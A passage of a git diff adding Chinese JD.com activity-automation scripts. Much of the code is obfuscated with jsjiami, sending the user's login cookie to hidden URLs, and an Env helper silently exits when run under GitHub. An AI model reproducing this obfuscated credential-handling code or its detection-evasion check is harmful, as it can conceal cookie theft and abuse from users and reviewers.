_0x2c563d===_0x538224;},'\x77\x4c\x77\x74\x6b':_0x17be('‫3fc','\x4c\x75\x39\x76'),'\x51\x65\x56\x4d\x57':_0x17be('‫3fd','\x30\x4b\x65\x43'),'\x4a\x51\x61\x4d\x46':_0x17be('‮3fe','\x61\x33\x2a\x79'),'\x4a\x51\x70\x75\x6a':_0x17be('‫3ff','\x72\x66\x71\x47'),'\x6b\x70\x64\x6f\x67':_0x17be('‫400','\x72\x66\x71\x47'),'\x65\x70\x63\x68\x72':_0x17be('‫401','\x71\x44\x63\x4d'),'\x50\x43\x63\x71\x42':_0x17be('‫402','\x4c\x75\x39\x76'),'\x44\x5a\x6d\x6d\x74':_0x17be('‮403','\x46\x64\x29\x62'),'\x64\x6a\x71\x41\x55':_0x17be('‫404','\x63\x29\x36\x47')};let _0x3559c7={'\x75\x72\x6c':_0x17be('‫405','\x28\x51\x53\x35'),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x5c8e02[_0x17be('‮406','\x4c\x75\x38\x63')],'Content-Type':_0x5c8e02[_0x17be('‮407','\x34\x4b\x4e\x31')],'\x41\x63\x63\x65\x70\x74':_0x5c8e02[_0x17be('‫408','\x6d\x50\x41\x7a')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x5c8e02[_0x17be('‫409','\x28\x51\x53\x35')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x5c8e02[_0x17be('‫40a','\x61\x42\x78\x5b')],'Accept-Language':_0x5c8e02[_0x17be('‫40b','\x68\x5d\x35\x40')],'Accept-Encoding':_0x5c8e02[_0x17be('‫40c','\x5b\x39\x64\x59')]},'\x62\x6f\x64\x79':_0x17be('‫40d','\x21\x42\x26\x35')};return new Promise(_0x5c67e4=>{var _0x3f5618={'\x4b\x58\x6d\x62\x4a':function(_0x448ef8,_0x276b82){return _0x5c8e02[_0x17be('‫40e','\x21\x42\x26\x35')](_0x448ef8,_0x276b82);},'\x78\x79\x50\x72\x46':_0x5c8e02[_0x17be('‫40f','\x24\x77\x63\x64')],'\x79\x61\x69\x77\x75':_0x5c8e02[_0x17be('‫410','\x78\x59\x62\x4b')]};$[_0x17be('‮411','\x5b\x39\x64\x59')](_0x3559c7,(_0x47de4d,_0x2b7cb6,_0x3cdd4e)=>{try{if(_0x47de4d){$[_0x17be('‮2c5','\x30\x4b\x65\x43')](_0x47de4d);}else{if(_0x5c8e02[_0x17be('‮412','\x4b\x48\x61\x67')](_0x5c8e02[_0x17be('‫413','\x58\x29\x32\x30')],_0x5c8e02[_0x17be('‮414','\x75\x41\x62\x29')])){_0x3cdd4e=JSON[_0x17be('‫415','\x28\x51\x53\x35')](_0x3cdd4e);if(_0x3f5618[_0x17be('‮416','\x21\x73\x4e\x30')](_0x3cdd4e[_0x17be('‫417','\x30\x4b\x65\x43')],_0x3f5618[_0x17be('‫418','\x72\x6d\x49\x69')])){$[_0x17be('‫419','\x65\x69\x66\x57')]=![];return;}if(_0x3f5618[_0x17be('‮41a','\x24\x77\x63\x64')](_0x3cdd4e[_0x17be('‮41b','\x5a\x40\x5e\x78')],'\x30')&&_0x3cdd4e[_0x17be('‮a7','\x55\x68\x6c\x72')][_0x17be('‮41c','\x63\x28\x5e\x39')](_0x3f5618[_0x17be('‮41d','\x58\x79\x4b\x6a')])){$[_0x17be('‮41e','\x4c\x75\x39\x76')]=_0x3cdd4e[_0x17be('‫41f','\x72\x66\x71\x47')][_0x17be('‮420','\x69\x54\x73\x6b')][_0x17be('‮421','\x72\x66\x71\x47')][_0x17be('‫422','\x34\x4b\x4e\x31')];}}else{if(_0x3cdd4e){if(_0x5c8e02[_0x17be('‫423','\x4c\x75\x39\x76')](_0x5c8e02[_0x17be('‫424','\x55\x68\x6c\x72')],_0x5c8e02[_0x17be('‮425','\x39\x25\x61\x28')])){console[_0x17be('‫264','\x21\x42\x26\x35')](error);}else{_0x3cdd4e=JSON[_0x17be('‫426','\x37\x4f\x51\x68')](_0x3cdd4e);if(_0x5c8e02[_0x17be('‮427','\x75\x41\x62\x29')](_0x3cdd4e[_0x17be('‮428','\x68\x5d\x35\x40')],'\x30')){if(_0x5c8e02[_0x17be('‮429','\x37\x4f\x51\x68')](_0x5c8e02[_0x17be('‮42a','\x65\x58\x32\x43')],_0x5c8e02[_0x17be('‮42b','\x46\x64\x29\x62')])){$[_0x17be('‮42c','\x24\x77\x63\x64')](_0x3cdd4e[_0x17be('‮42d','\x4c\x75\x39\x76')]);}else{$[_0x17be('‫42e','\x21\x73\x4e\x30')]=_0x3cdd4e[_0x17be('‮358','\x5b\x39\x64\x59')];}}}}else{if(_0x5c8e02[_0x17be('‫42f','\x65\x58\x32\x43')](_0x5c8e02[_0x17be('‫430','\x4e\x29\x4f\x23')],_0x5c8e02[_0x17be('‮431','\x5a\x40\x5e\x78')])){$[_0x17be('‮2f4','\x5b\x39\x64\x59')](_0x5c8e02[_0x17be('‮432','\x65\x58\x32\x43')]);}else{$[_0x17be('‮433','\x68\x5d\x35\x40')]=_0x3cdd4e[_0x17be('‮434','\x57\x54\x5e\x6b')];}}}}}catch(_0x56d25a){$[_0x17be('‮2f4','\x5b\x39\x64\x59')](_0x56d25a);}finally{_0x5c8e02[_0x17be('‫435','\x77\x53\x47\x4c')](_0x5c67e4);}});});}function random(_0x14c213,_0x24952c){var _0x505a8a={'\x79\x65\x42\x75\x63':function(_0x1eb6a1,_0x13d6e4){return _0x1eb6a1+_0x13d6e4;},'\x62\x4e\x58\x6c\x79':function(_0x21062b,_0x52694b){return _0x21062b*_0x52694b;},'\x6b\x4d\x52\x50\x45':function(_0x45d89d,_0x416190){return _0x45d89d-_0x416190;}};return _0x505a8a[_0x17be('‮436','\x69\x54\x73\x6b')](Math[_0x17be('‮437','\x2a\x46\x5a\x6b')](_0x505a8a[_0x17be('‮438','\x26\x4b\x38\x6e')](Math[_0x17be('‮439','\x21\x43\x53\x59')](),_0x505a8a[_0x17be('‫43a','\x65\x69\x66\x57')](_0x24952c,_0x14c213))),_0x14c213);}function getUUID(_0xc08302=_0x17be('‮43b','\x21\x42\x26\x35'),_0x56f3e4=0x0){var _0x51d913={'\x59\x4a\x4c\x6d\x7a':function(_0xe7e8c7,_0x21bbcc){return _0xe7e8c7|_0x21bbcc;},'\x77\x71\x64\x52\x57':function(_0x3e7f80,_0x55b4ac){return _0x3e7f80*_0x55b4ac;},'\x4a\x64\x45\x79\x58':function(_0x79570,_0x781739){return _0x79570==_0x781739;},'\x6b\x6e\x65\x6e\x57':function(_0x1f68de,_0x25d69a){return _0x1f68de|_0x25d69a;},'\x5a\x74\x6d\x74\x6b':function(_0x441d02,_0x1d0050){return _0x441d02&_0x1d0050;}};return _0xc08302[_0x17be('‮43c','\x30\x4b\x65\x43')](/[xy]/g,function(_0x134f7b){var _0x12b612=_0x51d913[_0x17be('‫43d','\x61\x42\x78\x5b')](_0x51d913[_0x17be('‮43e','\x5b\x39\x64\x59')](Math[_0x17be('‮43f','\x65\x61\x4a\x63')](),0x10),0x0),_0x66c93d=_0x51d913[_0x17be('‫440','\x77\x5d\x48\x33')](_0x134f7b,'\x78')?_0x12b612:_0x51d913[_0x17be('‫441','\x4f\x46\x44\x78')](_0x51d913[_0x17be('‫442','\x39\x25\x61\x28')](_0x12b612,0x3),0x8);if(_0x56f3e4){uuid=_0x66c93d[_0x17be('‮443','\x68\x5d\x35\x40')](0x24)[_0x17be('‮444','\x30\x4b\x65\x43')]();}else{uuid=_0x66c93d[_0x17be('‫445','\x51\x52\x32\x53')](0x24);}return uuid;});}function checkCookie(){var _0x560852={'\x6c\x65\x4e\x67\x79':_0x17be('‮2b','\x45\x52\x63\x7a'),'\x66\x52\x64\x67\x77':_0x17be('‮2c','\x71\x44\x63\x4d'),'\x6f\x47\x73\x6a\x4b':function(_0x182a18,_0x43acf1){return _0x182a18===_0x43acf1;},'\x45\x47\x6a\x57\x75':_0x17be('‮446','\x5a\x40\x5e\x78'),'\x67\x45\x4c\x4a\x4e':function(_0x4c3763,_0x44a7c1){return _0x4c3763!==_0x44a7c1;},'\x75\x67\x77\x58\x4f':_0x17be('‮447','\x61\x33\x2a\x79'),'\x6a\x59\x47\x78\x6c':_0x17be('‫448','\x24\x77\x63\x64'),'\x44\x54\x71\x67\x4a':function(_0x2c319d,_0xb8901f){return _0x2c319d===_0xb8901f;},'\x50\x4f\x4f\x6b\x67':_0x17be('‮449','\x2a\x46\x5a\x6b'),'\x6e\x56\x45\x66\x43':_0x17be('‫44a','\x63\x29\x36\x47'),'\x47\x41\x45\x4a\x43':_0x17be('‮44b','\x4b\x48\x61\x67'),'\x69\x71\x70\x5a\x51':function(_0x148981){return _0x148981();},'\x54\x72\x6f\x6e\x50':function(_0x490cb1,_0x115e88){return _0x490cb1+_0x115e88;},'\x46\x50\x59\x6b\x48':function(_0xed1096,_0x487600){return _0xed1096*_0x487600;},'\x76\x54\x78\x6f\x64':function(_0xbf2d47,_0x51895e){return _0xbf2d47-_0x51895e;},'\x55\x58\x68\x6f\x57':_0x17be('‮44c','\x63\x28\x5e\x39'),'\x43\x79\x46\x69\x63':_0x17be('‫44d','\x37\x4f\x51\x68'),'\x7a\x62\x51\x76\x4f':_0x17be('‫44e','\x63\x28\x5e\x39'),'\x41\x56\x4c\x51\x46':_0x17be('‮44f','\x4d\x37\x76\x65'),'\x64\x4c\x4f\x4b\x4b':_0x17be('‮450','\x71\x44\x63\x4d'),'\x76\x4a\x4c\x70\x50':_0x17be('‫451','\x46\x4f\x73\x62'),'\x67\x71\x76\x4d\x57':_0x17be('‫452','\x5a\x40\x5e\x78'),'\x51\x6d\x50\x6a\x43':_0x17be('‮453','\x55\x68\x6c\x72')};const _0x437b22={'\x75\x72\x6c':_0x560852[_0x17be('‮454','\x58\x29\x32\x30')],'\x68\x65\x61\x64\x65\x72\x73':{'Host':_0x560852[_0x17be('‫455','\x6d\x50\x41\x7a')],'Accept':_0x560852[_0x17be('‫456','\x46\x4f\x73\x62')],'Connection':_0x560852[_0x17be('‮457','\x2a\x55\x43\x54')],'Cookie':cookie,'User-Agent':_0x560852[_0x17be('‫458','\x30\x4b\x65\x43')],'Accept-Language':_0x560852[_0x17be('‫459','\x30\x4b\x65\x43')],'Referer':_0x560852[_0x17be('‮45a','\x21\x43\x53\x59')],'Accept-Encoding':_0x560852[_0x17be('‫45b','\x5b\x39\x64\x59')]}};return new Promise(_0x1fb9bc=>{var _0x22f188={'\x72\x48\x59\x6c\x47':function(_0x2a2a0d,_0x3e4bc6){return _0x560852[_0x17be('‮45c','\x78\x59\x62\x4b')](_0x2a2a0d,_0x3e4bc6);},'\x76\x4b\x77\x58\x43':function(_0x1d2f20,_0x15719e){return _0x560852[_0x17be('‮45d','\x68\x5d\x35\x40')](_0x1d2f20,_0x15719e);},'\x50\x47\x42\x74\x4a':function(_0x319d21,_0x15a1be){return _0x560852[_0x17be('‮45e','\x4b\x48\x61\x67')](_0x319d21,_0x15a1be);}};$[_0x17be('‫45f','\x69\x54\x73\x6b')](_0x437b22,(_0x221ed1,_0x94e85b,_0x465039)=>{var _0x267877={'\x6e\x67\x4f\x49\x6a':_0x560852[_0x17be('‫460','\x21\x43\x53\x59')],'\x58\x6d\x54\x4c\x45':_0x560852[_0x17be('‫461','\x65\x58\x32\x43')]};try{if(_0x221ed1){$[_0x17be('‮462','\x4b\x48\x61\x67')](_0x221ed1);}else{if(_0x465039){_0x465039=JSON[_0x17be('‫463','\x5b\x39\x64\x59')](_0x465039);if(_0x560852[_0x17be('‫464','\x65\x69\x66\x57')](_0x465039[_0x17be('‮465','\x72\x6d\x49\x69')],_0x560852[_0x17be('‮466','\x34\x4b\x4e\x31')])){if(_0x560852[_0x17be('‮467','\x68\x5d\x35\x40')](_0x560852[_0x17be('‫468','\x58\x79\x4b\x6a')],_0x560852[_0x17be('‫469','\x77\x53\x47\x4c')])){$[_0x17be('‮46a','\x58\x79\x4b\x6a')]=![];return;}else{$[_0x17be('‫46b','\x68\x70\x4d\x31')]($[_0x17be('‫306','\x50\x4c\x65\x52')],_0x267877[_0x17be('‮46c','\x28\x51\x53\x35')],_0x267877[_0x17be('‫46d','\x34\x4b\x4e\x31')],{'open-url':_0x267877[_0x17be('‮46e','\x57\x54\x5e\x6b')]});return;}}if(_0x560852[_0x17be('‮46f','\x72\x6d\x49\x69')](_0x465039[_0x17be('‫470','\x77\x53\x47\x4c')],'\x30')&&_0x465039[_0x17be('‮2e5','\x63\x28\x5e\x39')][_0x17be('‫471','\x58\x79\x4b\x6a')](_0x560852[_0x17be('‮472','\x65\x61\x4a\x63')])){$[_0x17be('‮473','\x75\x41\x62\x29')]=_0x465039[_0x17be('‮474','\x58\x79\x4b\x6a')][_0x17be('‮475','\x63\x29\x36\x47')][_0x17be('‮476','\x61\x42\x78\x5b')][_0x17be('‮477','\x24\x77\x63\x64')];}}else{$[_0x17be('‮309','\x46\x64\x29\x62')](_0x560852[_0x17be('‫478','\x65\x69\x66\x57')]);}}}catch(_0x4b8950){$[_0x17be('‮479','\x21\x42\x26\x35')](_0x4b8950);}finally{if(_0x560852[_0x17be('‮47a','\x45\x52\x63\x7a')](_0x560852[_0x17be('‫47b','\x63\x29\x36\x47')],_0x560852[_0x17be('‮47c','\x72\x52\x4e\x52')])){_0x560852[_0x17be('‮47d','\x4d\x37\x76\x65')](_0x1fb9bc);}else{return _0x22f188[_0x17be('‫47e','\x4f\x46\x44\x78')](Math[_0x17be('‫47f','\x4d\x37\x76\x65')](_0x22f188[_0x17be('‮480','\x5b\x39\x64\x59')](Math[_0x17be('‮439','\x21\x43\x53\x59')](),_0x22f188[_0x17be('‫481','\x63\x28\x5e\x39')](max,min))),min);}}});});};_0xodA='jsjiami.com.v6'; + +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_dreamFactory.js b/jd_dreamFactory.js new file mode 100644 index 0000000..c19ec36 --- /dev/null +++ b/jd_dreamFactory.js @@ -0,0 +1,1724 @@ +/* +京东京喜工厂 +更新时间:2021-6-25 +修复做任务、收集电力出现火爆,不能完成任务,重新计算h5st验证 +参考自 :https://www.orzlee.com/web-development/2021/03/03/lxk0301-jingdong-signin-scriptjingxi-factory-solves-the-problem-of-unable-to-signin.html +活动入口:京东APP-游戏与互动-查看更多-京喜工厂 +或者: 京东APP首页搜索 "玩一玩" ,造物工厂即可 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜工厂 +10 * * * * jd_dreamFactory.js, tag=京喜工厂, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true + +================Loon============== +[Script] +cron "10 * * * *" script-path=jd_dreamFactory.js,tag=京喜工厂 + +===============Surge================= +京喜工厂 = type=cron,cronexp="10 * * * *",wake-system=1,timeout=3600,script-path=jd_dreamFactory.js + +============小火箭========= +京喜工厂 = type=cron,script-path=jd_dreamFactory.js, cronexpr="10 * * * *", timeout=3600, enable=true + + */ +// prettier-ignore +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); 